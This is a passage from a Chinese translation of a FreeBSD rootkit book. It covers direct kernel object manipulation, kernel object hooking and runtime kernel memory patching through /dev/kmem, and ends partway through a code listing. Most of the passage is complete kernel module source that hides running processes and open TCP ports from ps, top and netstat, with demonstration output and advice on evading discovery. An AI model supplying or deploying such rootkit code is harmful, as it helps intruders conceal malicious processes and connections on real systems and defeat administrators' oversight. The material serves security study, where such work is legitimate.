注意在“之前”部分,top(1)报告了❶一个正在运行的过程,❷自身,而在“之后”部分,它报告了❸零个正在运行的过程——尽管它显然仍在运行……/me 微笑。
再次注意隐藏正在运行的过程
当然,进程管理不仅涉及allproc和zombproc列表,因此隐藏一个正在运行的过程也不仅仅是操作allproc列表。例如:
$ `sudo kldload ./process_hiding.ko`
System call loaded at offset 210.
$ `ps`
PID TT STAT TIME COMMAND
521 v1 S 0:00.19 -bash (bash)
524 v1 R+ 0:00.03 ps
519 v2 I 0:00.17 -bash (bash)
520 v2 S+ 0:00.25 top
$ `perl -e '$p_comm = "top";' -e 'syscall(210, $p_comm);'`
$ `ps -p 520`
PID TT STAT TIME COMMAND
520 v2 S+ 0:00.56 top
注意隐藏的过程(top)是通过其 PID 找到的。毫无疑问,我将解决这个问题。但首先,需要一些关于 FreeBSD 哈希表的背景信息^([1])。
hashinit函数
在 FreeBSD 中,一个哈希表是由LIST_HEAD条目组成的连续数组,它通过调用hashinit函数进行初始化。
#include <sys/malloc.h>
#include <sys/systm.h>
#include <sys/queue.h>
void *
hashinit(int nelements, struct malloc_type *type, u_long *hashmask);
此函数为大小为nelements的哈希表分配空间。如果成功,则返回分配的哈希表的指针,并将位掩码(在哈希函数中使用)设置在hashmask中。
pidhashtbl
为了提高效率,除了存储在allproc列表中之外,所有正在运行的过程还存储在一个名为pidhashtbl的哈希表中。这个哈希表用于通过 PID 比在allproc列表中进行 O(n)遍历(即,线性搜索)更快地定位proc结构。这就是本节开头通过 PID 找到隐藏过程的方式。
pidhashtbl在<sys/proc.h>头文件中定义如下:
extern LIST_HEAD(pidhashhead, proc) *pidhashtbl;
它在文件/sys/kern/kern_proc.c 中初始化为:
pidhashtbl = hashinit(maxproc / 4, M_PROC, &pidhash);
pfind 函数
要通过pidhashtbl定位一个进程,内核线程调用pfind函数。此函数在文件/sys/kern/kern_proc.c 中实现如下:
struct proc *
pfind(pid)
register pid_t pid;
{
register struct proc *p;
❶sx_slock(&allproc_lock);
LIST_FOREACH(p, ❷PIDHASH(pid), p_hash)
if (p->p_pid == pid) {
if (p->p_state == PRS_NEW) {
p = NULL;
break;
}
PROC_LOCK(p);
break;
}
sx_sunlock(&allproc_lock);
return (p);
}
注意,pidhashtbl的资源访问控制是❶ allproc_lock——与allproc列表关联的相同锁。这是因为allproc和pidhashtbl被设计成同步的。
注意,pidhashtbl是通过❷ PIDHASH宏遍历的。此宏在<sys/proc.h>头文件中定义如下:
#define PIDHASH(pid) (&pidhashtbl[(pid) & pidhash])
如你所见,PIDHASH是pidhashtbl的宏替换;具体来说,它是哈希函数。
示例
在下面的列表中,我将process_hiding修改为通过 PID 保护正在运行的过程不被发现,修改内容以粗体显示。
static int
process_hiding(struct thread *td, void *syscall_args)
{
struct process_hiding_args *uap;
uap = (struct process_hiding_args *)syscall_args;
struct proc *p;
sx_xlock(&allproc_lock);
/* Iterate through the allproc list. */
LIST_FOREACH(p, &allproc, p_list) {
PROC_LOCK(p);
if (!p->p_vmspace || (p->p_flag & P_WEXIT)) {
PROC_UNLOCK(p);
continue;
}
/* Do we want to hide this process? */
if (strncmp(p->p_comm, uap->p_comm, MAXCOMLEN) == 0) `{`
LIST_REMOVE(p, p_list);
`LIST_REMOVE(p, p_hash); }`
PROC_UNLOCK(p);
}
sx_xunlock(&allproc_lock);
return(0);
}
如你所见,我所做的只是从pidhashtbl中移除了proc结构。简单,对吧?
列表 3-2 是另一种方法,它利用了你对pidhashtbl的了解。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/sx.h>
#include <sys/mutex.h>
struct process_hiding_args {
pid_t p_pid; /* process identifier */
};
/* System call to hide a running process. */
static int
process_hiding(struct thread *td, void *syscall_args)
{
struct process_hiding_args *uap;
uap = (struct process_hiding_args *)syscall_args;
struct proc *p;
sx_xlock(&allproc_lock);
/* Iterate through pidhashtbl. */
LIST_FOREACH(p, PIDHASH(uap->p_pid), p_hash)
if (p->p_pid == uap->p_pid) {
if (p->p_state == PRS_NEW) {
p = NULL;
break;
}
PROC_LOCK(p);
/* Hide this process. */
LIST_REMOVE(p, p_list);
LIST_REMOVE(p, p_hash);
PROC_UNLOCK(p);
break;
}
sx_xunlock(&allproc_lock);
return(0);
}
/* The sysent for the new system call. */
static struct sysent process_hiding_sysent = {
1, /* number of arguments */
process_hiding /* implementing function */
};
/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
uprintf("System call loaded at offset %d.\n", offset);
break;
case MOD_UNLOAD:
uprintf("System call unloaded from offset %d.\n", offset);
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
SYSCALL_MODULE(process_hiding, &offset, &process_hiding_sysent, load, NULL);
列表 3-2:process_hiding_redux.c
如你所见,process_hiding已被重写以使用 PID(而不是名称),这样你就可以选择遍历pidhashtbl而不是遍历allproc。这应该会减少总的运行时间。
这里有一些示例输出:
$ `sudo kldload ./process_hiding_redux.ko`
System call loaded at offset 210.
$ `ps`
PID TT STAT TIME COMMAND
494 v1 S 0:00.21 -bash (bash)
502 v1 R+ 0:00.02 ps
492 v2 I 0:00.17 -bash (bash)
493 v2 S+ 0:00.23 top
$ `perl -e 'syscall(210, 493);'`
$ `ps`
PID TT STAT TIME COMMAND
494 v1 S 0:00.25 -bash (bash)
504 v1 R+ 0:00.02 ps
492 v2 I 0:00.17 -bash (bash)
$ `ps -p 493`
PID TT STAT TIME COMMAND
$ `kill -9 493`
-bash: kill: (493) - No such process
到目前为止,除非有人正在积极搜索你的隐藏进程,否则你应该不会被发现。然而,请记住,内核中仍然有一些数据结构引用了各种运行中的进程,这意味着你的隐藏进程仍然可能被检测到——而且相当容易!
^([1]) ¹ 通常,哈希表是一种数据结构,其中键通过哈希函数映射到数组位置。哈希表的目的在于提供快速高效的数据检索。也就是说,给定一个键(例如,一个人的名字),你可以轻松地找到相应的值(例如,这个人的电话号码)。这是通过使用哈希函数将键转换为一个表示数组中偏移量的数字来实现的,该数组包含所需值。
使用 DKOM 隐藏
正如你所见,在隐藏带有 DKOM 的对象时,主要的挑战是移除内核中所有对你的对象的引用。最好的方法是查看并模仿对象的终止函数(s)的源代码,这些函数旨在移除对象的所有引用。例如,为了识别所有引用正在运行进程的数据结构,请参考 _exit(2) 系统调用函数,该函数在文件 /sys/kern/kern_exit.c 中实现。
注意
由于整理不熟悉的内核代码永远不会又快又容易,我在首次讨论隐藏正在运行的过程时,并没有在 隐藏一个正在运行的过程 的开头就列出 _exit(2) 的源代码。
在这个阶段,你应该已经了解足够的信息,可以自己执行 _exit(2)。尽管如此,以下是你需要修补的剩余对象,以便隐藏一个正在运行的过程:
-
父进程的子进程列表
-
父进程的进程组列表
-
nprocs变量
隐藏一个打开的基于 TCP 的端口
由于没有关于 rootkits 的书籍不讨论如何隐藏一个打开的基于 TCP 的端口,这间接隐藏了一个建立的基于 TCP 的连接,因此我将在这里使用 DKOM 展示一个示例。不过,首先我们需要一些关于互联网协议数据结构的背景信息。
inpcb 结构
对于每个基于 TCP 或 UDP 的套接字,都会创建一个 inpcb 结构,称为 互联网协议控制块,用于存储诸如网络地址、端口号、路由信息等互联网数据(McKusick 和 Neville-Neil,2004)。此结构在 <netinet/in_pcb.h> 头文件中定义。以下列表描述了 struct inpcb 中的字段,你需要了解这些字段才能隐藏一个打开的 TCP 端口。
注意
如前所述,你可以在第一次阅读时跳过此列表,并在处理一些真实的 C 代码时返回。
LIST_ENTRY(inpcb) inp_list;
此字段包含与 inpcb 结构关联的链接指针,该结构存储在 tcbinfo.listhead 列表中(在 The tcbinfo.listhead List 中讨论)。在插入、删除和遍历此列表时引用此字段。
struct in_conninfo inp_inc;
此结构维护已建立连接中的套接字对 4 元组;即本地 IP 地址、本地端口号、外方 IP 地址和外方端口号。struct in_conninfo 的定义可以在 <netinet/in_pcb.h> 头文件中找到,如下所示:
struct in_conninfo {
u_int8_t inc_flags;
u_int8_t inc_len;
u_int16_t inc_pad;
/* protocol dependent part */
struct in_endpoints inc_ie;
};
在 in_conninfo 结构中,套接字对 4 元组存储在最后一个成员 inc_ie 中。这可以通过在 <netinet/in_pcb.h> 头文件中查找 struct in_endpoints 的定义来验证,如下所示: |
|---|
struct in_endpoints {
u_int16_t ie_fport; /* foreign port */
u_int16_t ie_lport; /* local port */
/* protocol dependent part, local and foreign addr */
union {
/* foreign host table entry */
struct in_addr_4in6 ie46_foreign;
struct in6_addr ie6_foreign;
} ie_dependfaddr;
union {
/* local host table entry */
struct in_addr_4in6 ie46_local;
struct in6_addr ie6_local;
} ie_dependladdr;
#define ie_faddr ie_dependfaddr.ie46_foreign.ia46_addr4
#define ie_laddr ie_dependladdr.ie46_local.ia46_addr4
#define ie6_faddr ie_dependfaddr.ie6_foreign
#define ie6_laddr ie_dependladdr.ie6_local
};
u_char inp_vflag;
此字段标识正在使用的 IP 版本以及设置在 inpcb 结构上的 IP 标志。所有标志都在 <netinet/in_pcb.h> 头文件中定义。
struct mtx inp_mtx;
这是与inpcb结构相关的资源访问控制。头文件<netinet/in_pcb.h>定义了两个宏,INP_LOCK和INP_UNLOCK,用于方便地获取和释放这个锁。
#define INP_LOCK(inp) mtx_lock(&(inp)->inp_mtx)
#define INP_UNLOCK(inp) mtx_unlock(&(inp)->inp_mtx)
tcbinfo.listhead 列表
与基于 TCP 的套接字相关的inpcb结构被维护在 TCP 协议模块的私有双链表中。这个列表包含在tcbinfo中,该tcbinfo在<netinet/tcp_var.h>头文件中如下定义:
extern struct inpcbinfo tcbinfo;
如您所见,tcbinfo被声明为struct inpcbinfo类型,该类型在<netinet/in_pcb.h>头文件中定义。在我继续之前,让我描述一下struct inpcbinfo的字段,这些字段是您为了隐藏一个基于 TCP 的开放端口而需要了解的。
struct inpcbhead *listhead;
在tcbinfo中,这个字段维护了与基于 TCP 的套接字相关的inpcb结构列表。这可以通过在<netinet/in_pcb.h>头文件中查找struct inpcbhead的定义来验证。
LIST_HEAD(inpcbhead, inpcb);
struct mtx ipi_mtx;
这是与inpcbinfo结构相关的资源访问控制。头文件<netinet/in_pcb.h>定义了四个宏,用于方便地获取和释放这个锁;您将使用以下两个:
#define INP_INFO_WLOCK(ipi) mtx_lock(&(ipi)->ipi_mtx)
#define INP_INFO_WUNLOCK(ipi) mtx_unlock(&(ipi)->ipi_mtx)
示例
到目前为止,您可能不会感到惊讶,您可以通过简单地从tcbinfo.listhead中移除其inpcb结构来隐藏一个基于 TCP 的开放端口。列表 3-3 是一个系统调用模块,专门用于执行此操作。该系统调用使用一个参数:一个包含要隐藏的本地端口的整数值。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/queue.h>
#include <sys/socket.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_pcb.h>
#include <netinet/ip_var.h>
#include <netinet/tcp_var.h>
struct port_hiding_args {
u_int16_t lport; /* local port */
};
/* System call to hide an open port. */
static int
port_hiding(struct thread *td, void *syscall_args)
{
struct port_hiding_args *uap;
uap = (struct port_hiding_args *)syscall_args;
struct inpcb *inpb;
INP_INFO_WLOCK(&tcbinfo);
/* Iterate through the TCP-based inpcb list. */
LIST_FOREACH(inpb, tcbinfo.listhead, inp_list) {
❶if (inpb->inp_vflag & INP_TIMEWAIT)
continue;
INP_LOCK(inpb);
/* Do we want to hide this local open port? */
❷if (uap->lport == ntohs(inpb->inp_inc.inc_ie.ie_lport))
LIST_REMOVE(inpb, inp_list);
INP_UNLOCK(inpb);
}
INP_INFO_WUNLOCK(&tcbinfo);
return(0);
}
/* The sysent for the new system call. */
static struct sysent port_hiding_sysent = {
1, /* number of arguments */
port_hiding /* implementing function */
};
/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
uprintf("System call loaded at offset %d.\n", offset);
break;
case MOD_UNLOAD:
uprintf("System call unloaded from offset %d.\n", offset);
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
SYSCALL_MODULE(port_hiding, &offset, &port_hiding_sysent, load, NULL);
列表 3-3: port_hiding.c
关于这段代码的一个有趣细节是,在❷端口号比较之前,我❶检查每个inpcb结构的inp_vflag成员。如果发现inpcb处于 2MSL 等待状态,我就跳过它.^([2]) 隐藏一个即将关闭的端口有什么意义?
在以下输出中,我使用telnet(1)连接到远程机器,然后调用port_hiding来隐藏会话:
$ `telnet 192.168.123.107`
Trying 192.168.123.107...
Connected to 192.168.123.107.
Escape character is '^]'.
Trying SRA secure login:
User (ghost):
Password:
[ SRA accepts you ]
FreeBSD/i386 (alpha) (ttyp0)
Last login: Mon Mar 5 09:55:50 on ttyv1
$ `sudo kldload ./port_hiding.ko`
System call loaded at offset 210.
$ `netstat -anp tcp`
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 192.168.123.107.23 192.168.123.153.61141 ESTABLISHED
tcp4 0 0 *.23 *.* LISTEN
tcp4 0 0 127.0.0.1.25 *.* LISTEN
$ `perl -e 'syscall(210, 23);'`
$ `netstat -anp tcp`
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp4 0 0 127.0.0.1.25 *.* LISTEN
注意port_hiding如何隐藏了本地 telnet 服务器以及连接。要改变这种行为,只需将port_hiding重写为需要两个参数:一个本地端口和一个本地地址。
^([2]) ² 当一个 TCP 连接执行主动关闭并发送最终的 ACK 时,连接将被置于 2MSL 等待状态,这是最大段生命期的两倍。这允许 TCP 连接在第一个 ACK 丢失的情况下重新发送最终的 ACK。
污染内核数据
在我总结这一章之前,让我们考虑以下问题:当你的一个隐藏对象被发现并被消灭时会发生什么?
在最佳情况下,什么都不会发生。在最坏的情况下,内核会崩溃,因为当一个对象被杀死时,内核会无条件地将其从其各种列表中移除。然而,在这种情况下,对象已经被移除。因此,内核将无法找到它,并会在其列表的末尾越界,在这个过程中破坏那些数据结构。
为了防止这种数据损坏,这里有一些建议:
-
将终止函数(们)挂钩以防止它们移除您的隐藏对象。
-
在终止之前,将终止函数(们)挂钩以将您的隐藏对象放回列表中。
-
实现您自己的“退出”函数以安全地杀死您的隐藏对象。
-
什么也不做。如果您的隐藏对象从未被发现,它们永远不会被杀死——对吗?
结论
DKOM 是最难检测的 rootkit 技术之一。通过修补内核用于账簿和报告所依赖的对象,您可以在留下极小痕迹的同时产生期望的结果。例如,在本章中,我已经展示了如何通过一些简单的修改来隐藏一个正在运行的过程和一个打开的端口。
虽然 DKOM 确实有有限的使用(因为它只能操作主内存中的对象),但内核中有许多对象可以修补。例如,要获取所有内核队列数据结构的完整列表,请执行以下命令:
`$ cd /usr/src/sys`
$ `grep -r "LIST_HEAD(" *`
. . .
$ `grep -r "TAILQ _HEAD(" *`
. . .
第四章:内核对象挂钩
在上一章中,我们介绍了通过简单的数据状态更改来颠覆 FreeBSD 内核。讨论主要集中在修改内核队列数据结构中的数据。除了记录保存外,许多这些结构也直接参与控制流,因为它们维护了有限的内核入口点。因此,这些也可以被挂钩,就像在第二章中讨论的入口点一样。这种技术被称为内核对象挂钩(KOH)。为了演示它,让我们挂钩一个字符设备。
字符设备挂钩
回想一下第一章,字符设备是由其在字符设备切换表中的条目定义的.^([1]) 因此,通过修改这些条目,你可以修改字符设备的行为。然而,在演示这种“攻击”之前,需要一些关于字符设备管理的背景信息。
cdevp_list 尾队列和 cdev_priv 结构
在 FreeBSD 中,所有活动的字符设备都维护在一个名为cdevp_list的私有、双链表尾队列中,该队列在文件/sys/fs/devfs/devfs_devs.c中定义如下:
static TAILQ_HEAD(,❶ucdev_priv) cdevp_list =
TAILQ_HEAD_INITIALIZER(cdevp_list);
如你所见,cdevp_list由❶ cdev_priv结构组成。struct cdev_priv的定义可以在<fs/devfs/devfs_int.h>头文件中找到。以下是在挂钩字符设备时需要了解的struct cdev_priv字段:
TAILQ_ENTRY(cdev_priv) cdp_list;
此字段包含与cdev_priv结构相关联的链接指针,该结构存储在cdevp_lst上。在插入、删除和遍历cdevp_list时引用此字段。
struct cdev cdp_c;
此结构维护字符设备的上下文。struct cdev的定义可以在<sys/conf.h>头文件中找到。与我们的讨论相关的struct cdev字段如下:
char *si_name;
此字段包含字符设备名称。
struct cdevsw *si_devsw;
此字段指向字符设备的切换表。
devmtx 互斥锁
以下是从<fs/devfs/devfs_int.h>中摘录的与cdevp_list相关的资源访问控制
extern struct mtx devmtx;
示例
如你所猜,为了修改字符设备的切换表,你只需通过cdevp_list即可。列表 4-1 提供了一个示例。此代码遍历cdevp_list,寻找cd_example;^([2]) 如果找到它,将cd_example的读取入口点替换为一个简单的调用挂钩。
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/queue.h>
#include <sys/lock.h>
#include <sys/mutex.h>
#include <fs/devfs/devfs_int.h>
extern TAILQ_HEAD(,cdev_priv) cdevp_list;
d_read_t read_hook;
d_read_t *read;
/* read entry point hook. */
int
read_hook(struct cdev *dev, struct uio *uio, int ioflag)
{
uprintf("You ever dance with the devil in the pale moonlight?\n");
❶return((*read)(dev, uio, ioflag));
}
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
struct cdev_priv *cdp;
switch (cmd) {
case MOD_LOAD:
mtx_lock(&devmtx);
/* Replace cd_example's read entry point with read_hook
TAILQ_FOREACH(cdp, &cdevp_list, cdp_list) {
if (strcmp(cdp->cdp_c.si_name, "cd_example") == 0) {
❷read = cdp->cdp_c.si_devsw->d_read;
❸cdp->cdp_c.si_devsw->d_read = read_hook;
break;
}
}
mtx_unlock(&devmtx);
break;
case MOD_UNLOAD:
mtx_lock(&devmtx);
/* Change everything back to normal. */
TAILQ_FOREACH(cdp, &cdevp_list, cdp_list) {
if (strcmp(cdp->cdp_c.si_name, "cd_example") == 0) {
❹cdp->cdp_c.si_devsw->d_read = read;
break;
}
}
mtx_unlock(&devmtx);
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
static moduledata_t cd_example_hook_mod = {
"cd_example_hook", /* module name */
load, /* event handler */
NULL /* extra data */
};
DECLARE_MODULE(cd_example_hook, cd_example_hook_mod, SI_SUB_DRIVERS,
SI_ORDER_MIDDLE);
列表 4.1:cd_example_hook.c
注意,在❸替换cd_example的读取入口点之前,我❷保存了原始入口点的内存地址。这允许你在不包含其定义的情况下调用和❹恢复原始函数。
在加载上述模块后与 cd_example 交互的结果如下:
$ `sudo kldload ./cd_example_hook.ko`
$ `sudo ./interface Tell\ me\ something,\ my\ friend.`
Wrote "Tell me something, my friend." to device /dev/cd_example
You ever dance with the devil in the pale moonlight?
Read "Tell me something, my friend." from device /dev/cd_example
^([1]) ¹ 关于字符设备开关表的定义,请参阅 The cdevsw Structure。
^([2]) ² cd_example 是在 Example 中开发的字符设备。
结论
如您所见,KOH 大概与 DKOM 类似,只是它使用调用钩子而不是数据状态变化。因此,本章(这也是它如此简短的原因)实际上并没有提出什么“新”的内容。
第五章。运行时内核内存修补
在前几章中,我们探讨了将代码引入运行中内核的经典方法:通过可加载内核模块。在本章中,我们将探讨如何使用用户空间代码修补和增强运行中的内核。这是通过与 /dev/kmem 设备交互来实现的,它允许我们从内核虚拟内存中读取和写入。换句话说,/dev/kmem 允许我们修补控制内核逻辑的各种代码字节(加载在可执行内存空间中)。这通常被称为 运行时内核内存修补。
内核数据访问库
内核数据访问库(libkvm)通过 /dev/kmem 设备提供了一个统一的接口,用于访问内核虚拟内存。以下来自 libkvm 的六个函数构成了运行时内核内存修补的基础。
kvm_openfiles 函数
通过调用 kvm_openfiles 函数初始化对内核虚拟内存的访问。如果 kvm_openfiles 成功,则返回一个描述符,用于所有后续的 libkvm 调用。如果遇到错误,则返回 NULL。
这是 kvm_openfiles 函数的原型:
#include <fcntl.h>
#include <kvm.h>
kvm_t *
kvm_openfiles(const char *execfile, const char *corefile,
const char *swapfile, int flags, char *errbuf);
以下是对每个参数的简要描述。
execfile
这指定了要检查的内核映像,它必须包含符号表。如果此参数设置为 NULL,则检查当前运行的内核映像。
corefile
这是内核内存设备文件;它必须设置为 /dev/mem 或由 savecore(8) 生成的崩溃转储核心。如果此参数设置为 NULL,则使用 /dev/mem。
swapfile
此参数目前未使用;因此,它始终设置为 NULL。
flags
此参数指示核心文件的读写访问权限。它必须设置为以下常量之一:
O_RDONLY
仅开放读权限。
O_WRONLY
仅开放写权限。
O_RDWR
仅开放读写权限。
errbuf
如果 kvm_openfiles 遇到错误,则将错误消息写入此参数。
kvm_nlist 函数
kvm_nlist 函数从内核映像检索符号表条目。
#include <kvm.h>
#include <nlist.h>
int
kvm_nlist(kvm_t *kd, struct nlist *nl);
在这里,nl 是 nlist 结构的空终止数组。为了正确使用 kvm_nlist,你需要了解 struct nlist 中的两个字段,特别是 n_name,它是加载到内存中的符号的名称,以及 n_value,它是符号的地址。
kvm_nlist 函数遍历 nl,通过 n_name 字段依次查找每个符号;如果找到,则适当地填充 n_value。否则,将其设置为 0。
kvm_geterr 函数
kvm_geterr 函数返回一个字符串,描述了内核虚拟内存描述符上最近发生的错误条件。
#include <kvm.h>
char *
kvm_geterr(kvm_t *kd);
如果最近的 libkvm 调用没有产生错误,则结果未定义。
kvm_read 函数
使用kvm_read函数从内核虚拟内存中读取数据。如果读取成功,则返回传输的字节数。否则,返回−1。
#include <kvm.h>
ssize_t
kvm_read(kvm_t *kd, unsigned long addr, void *buf, size_t nbytes);
在这里,nbytes表示要从内核空间地址addr读取到缓冲区buf的字节数。
kvm_write 函数
使用kvm_write函数将数据写入内核虚拟内存。
#include <kvm.h>
ssize_t
kvm_write(kvm_t *kd, unsigned long addr, const void *buf, size_t nbytes);
返回值通常等于nbytes参数,除非发生错误,在这种情况下,将返回−1。在这个定义中,nbytes表示要从buf写入到addr的字节数。
kvm_close 函数
通过调用kvm_close函数关闭一个打开的内核虚拟内存描述符。
#include <fcntl.h>
#include <kvm.h>
int
kvm_close(kvm_t *kd);
如果kvm_close成功,则返回0。否则,返回−1。
修补代码字节
现在,我们有了上一节中的函数,让我们修补一些内核虚拟内存。我会从一个非常基础的例子开始。列表 5-1 是一个系统调用模块,它像一个过度咖啡因的“Hello, world!”函数。
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
/* The system call function. */
static int
hello(struct thread *td, void *syscall_args)
{
int i;
❶for (i = 0; i < 10; i++)
printf("FreeBSD Rocks!\n");
return(0);
}
/* The sysent for the new system call. */
static struct sysent hello_sysent = {
0, /* number of arguments */
hello /* implementing function */
};
/* The offset in sysent[] where the system call is to be allocated. */
static int offset = NO_SYSCALL;
/* The function called at load/unload. */
static int
load(struct module *module, int cmd, void *arg)
{
int error = 0;
switch (cmd) {
case MOD_LOAD:
uprintf("System call loaded at offset %d.\n", offset);
break;
case MOD_UNLOAD:
uprintf("System call unloaded from offset %d.\n", offset);
break;
default:
error = EOPNOTSUPP;
break;
}
return(error);
}
SYSCALL_MODULE(hello, &offset, &hello_sysent, load, NULL);
列表 5-1:hello.c
正如你所见,如果我们执行这个系统调用,我们会得到一些非常令人烦恼的输出。为了使这个系统调用不那么令人烦恼,我们可以移除❶for循环,这将移除对printf的九次额外调用。然而,在我们能够做到这一点之前,我们需要知道这个系统调用在主内存中的样子。
$ `objdump -dR ./hello.ko`
./hello.ko: file format elf32-i386-freebsd
Disassembly of section .text:
00000480 <hello>:
480: 55 push %ebp
481: 89 e5 mov %esp,%ebp
483: 53 push %ebx
484: bb 09 00 00 00 mov $0x9,%ebx
489: 83 ec 04 sub $0x4,%esp
48c: 8d 74 26 00 lea 0x0(%esi),%esi
490: c7 04 24 0d 05 00 00 movl $0x50d,(%esp)
493: R_386_RELATIVE *ABS*
497: e8 fc ff ff ff call 498 <hello+0x18>
498: R_386_PC32 printf
49c: 4b dec %ebx
49d: 79 f1 jns 490 <hello+0x10>
49f: 83 c4 04 add $0x4,%esp
4a2: 31 c0 xor %eax,%eax
4a4: 5b pop %ebx
4a5: c9 leave
4a6: c3 ret
4a7: 89 f6 mov %esi,%esi
4a9: 8d bc 27 00 00 00 00 lea 0x0(%edi),%edi
注意
二进制文件hello.ko是明确编译的,没有使用-funroll-loops选项。
注意地址 49d 处的指令,如果符号标志未设置,则将指令指针跳转回地址 490。这个指令大致上是 hello.c 中的for循环。因此,如果我们将其nop掉,可以使hello系统调用变得稍微可以忍受。列表 5-2 中的程序就是这样做的。
#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/types.h>
#define SIZE 0x30
/* Replacement code. */
unsigned char nop_code[] =
"\x90\x90"; /* nop */
int
main(int argc, char *argv[])
{
int i, offset;
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
struct nlist nl[] = { {NULL}, {NULL}, };
unsigned char hello_code[SIZE];
/* Initialize kernel virtual memory access. */
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if (kd == NULL) {
fprintf(stderr, "ERROR: %s\n", errbuf);
exit(-1);
}
nl[0].n_name = "hello";
/* Find the address of hello. */
if (kvm_nlist(kd, nl) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
if (!nl[0].n_value) {
fprintf(stderr, "ERROR: Symbol %s not found\n",
nl[0].n_name);
exit(-1);
}
/* Save a copy of hello. */
if (kvm_read(kd, nl[0].n_value, hello_code, SIZE) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Search through hello for the jns instruction. */
❶ for (i = 0; i < SIZE; i++) {
if (hello_code[i] == 0x79) {
offset = i;
break;
}
}
/* Patch hello. */
if (kvm_write(kd, nl[0].n_value + offset, nop_code,
❷sizeof(nop_code) - 1) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
/* Close kd. */
if (kvm_close(kd) < 0) {
fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
exit(-1);
}
exit(0);
}
列表 5-2:fix_hello.c
注意我如何搜索hello的前 48 字节,寻找jns指令,而不是使用硬编码的偏移量。根据你的编译器版本、编译器标志、基础系统等,hello.c 编译出来的结果可能会有所不同。因此,提前确定jns的位置是没有用的。
事实上,当编译时,hello.c 甚至可能不包含一个jns指令,因为在机器码中存在多种表示for循环的方式。此外,回忆一下hello.ko的反汇编中识别出的两个需要动态重定位的指令。这意味着遇到的第一个 0×79 字节可能是这些指令的一部分,而不是实际的jns指令。这就是为什么这是一个例子而不是一个真实程序的原因。
注意
为了绕过这些问题,使用更长和/或更多的搜索签名。你也可以使用硬编码的偏移量,但你的代码在某些系统上会崩溃。
另一个值得注意的细节是,当我使用 kvm_write 修补 hello 时,我 ❷ 传递 sizeof(nop_code) - 1,而不是 sizeof(nop_code) 作为 nbytes 参数。在 C 语言中,字符数组是空终止的;因此,sizeof(nop_code) 返回三个。然而,我只想要写两个 nop,而不是两个 nop 和一个 NULL。
以下输出显示了在 ttyv0 上运行 fix_hello 之前和之后执行 hello 的结果(即系统控制台):
$ `sudo kldload ./hello.ko`
System call loaded at offset 210.
$ `perl -e 'syscall(210);'`
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
FreeBSD Rocks!
$ `gcc -o fix_hello fix_hello.c -lkvm`
$ `sudo ./fix_hello`
$ `perl -e 'syscall(210);'`
FreeBSD Rocks!
成功!现在让我们尝试一些更高级的东西。
理解 x86 call 语句
在 x86 汇编中,call 语句是一个控制转移指令,用于调用函数或过程。有两种类型的 call 语句:near 和 far。就我们的目的而言,我们只需要了解 near call 语句。以下(虚构的)代码段说明了 near call 的细节。
200: bb 12 95 00 00 mov $0x9512,%ebx
205: e8 f6 00 00 00 call 300
20a: b8 2f 14 00 00 mov $0x142f,%eax
在上述代码片段中,当指令指针到达地址 205——call 语句时,它将跳转到地址 300。call 语句的十六进制表示为 e8。然而,f6 00 00 00 显然不是 300。乍一看,似乎机器代码和汇编代码不匹配,但实际上它们是匹配的。在 near call 中,call 语句之后的指令地址被保存在栈上,这样被调用的过程就知道返回的位置。因此,call 语句的机器代码操作数是被调用过程的地址减去 call 语句之后的指令地址(0x300 - 0x20a = 0xf6)。这解释了为什么在这个例子中 call 的机器代码操作数是 f6 00 00 00,而不是 00 03 00 00。这是一个重要的观点,稍后将会发挥作用。
修补 call 语句
回到列表 5-1,假设当我们 nop 出 for 循环时,我们还想让 hello 调用 uprintf 而不是 printf。列表 5-3 中的程序修补 hello 来实现这一点。
#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/types.h>
#define SIZE 0x30
/* Replacement code. */
unsigned char nop_code[] =
"\x90\x90"; /* nop */
int
main(int argc, char *argv[])
{
int i, jns_offset, call_offset;
char errbuf[_POSIX2_LINE_MAX];
kvm_t *kd;
struct nlist nl[] = { {NULL}, {NULL}, {NULL}, };
unsigned char hello_code[SIZE], call_operand[4];
/* Initialize kernel virtual memory access. */
kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);
if (kd == NULL) {
